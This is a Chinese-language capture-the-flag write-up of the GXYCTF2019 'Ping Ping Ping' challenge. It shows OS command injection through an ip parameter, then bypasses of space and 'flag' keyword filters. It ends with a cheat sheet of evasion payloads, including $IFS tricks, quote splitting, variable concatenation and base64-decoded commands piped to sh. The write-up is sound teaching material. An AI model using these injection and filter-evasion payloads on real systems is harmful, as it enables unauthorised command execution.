题目
点进题目,页面只显示/?ip=,没有其他信息
联系到题目名为ping,猜测题目于ping地址有关,先尝试一下
构造payload
http://31e941af-c0d7-49c9-a3fe-84cb13d8adae.node4.buuoj.cn:81/?ip=127.0.0.1
这里猜测可能为远程命令执行漏洞,尝试一下
构造payload
/?ip=127.0.0.1;whoami
返回结果正确,猜测正确,还知道主机为linux
使用命令执行查找flag文件
构造payload
/?ip=127.0.0.1;ls
查看flag文件
构造payload
/?ip=127.0.0.1;cat flag.php
页面显示不要输入空格,这里参考了其他大佬的wp才知道是空格被过滤了
检查页面源代码,没有显示结果(必须通过检车页面源代码,因为php代码有些东西会被前端自动渲染而不显示)
使用空格绕过方法
构造payload
/?ip=127.0.0.1;cat$IFSflag.php
说明绕过空格成功
但是还是无法显示flag文件,并且页面显示fxck your flag,猜测可能过滤了关键字flag,需要绕过flag
构造payload
/?ip=127.0.0.1;a=g;cat$3$IFS$1fla$a.php
页面没有显示,选择查看源代码,看看是否在注释中
得到flag
总结
#空格绕过方法
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
$IFS$9 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
#关键字绕过方法
#以flag为例
单引号绕过 fla'g'
双引号绕过 fla"g"
反斜线绕过 f\lag
变量拼接绕过 a=g;cat$IFS$1fla$a.php
$+任意数字绕过 fl$1ag
Base64绕过 cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联绕过 就是将反引号内命令的输出作为输入执行
cat `ls
参考学习文章链接:
[GXYCTF2019]Ping Ping Ping_MiaoA知识的博客-CSDN博客
[GXYCTF2019]Ping Ping Ping_ctf pingpingping_谢添姣的博客-CSDN博客